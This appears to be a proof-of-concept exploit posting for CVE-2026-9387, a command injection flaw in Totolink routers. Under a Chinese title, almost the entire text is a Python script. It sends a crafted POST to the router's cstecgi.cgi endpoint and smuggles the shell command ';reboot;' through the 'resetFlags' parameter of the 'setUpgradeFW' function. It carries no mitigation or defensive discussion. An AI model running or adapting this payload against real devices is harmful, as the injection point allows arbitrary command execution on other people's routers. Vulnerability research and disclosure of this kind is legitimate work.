CVE-2026-9387 Totolink路由器OS命令注入漏洞

import requests # Target URL, replace with actual IP target = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject command (e.g., reboot) # The vulnerability is in the 'resetFlags' parameter payload_data = { "function": "setUpgradeFW", "resetFlags": ";reboot;" } headers = { "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)", "Content-Type": "application/x-www-form-urlencoded" } try: print("[*] Sending exploit request...") response = requests.post(target, data=payload_data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")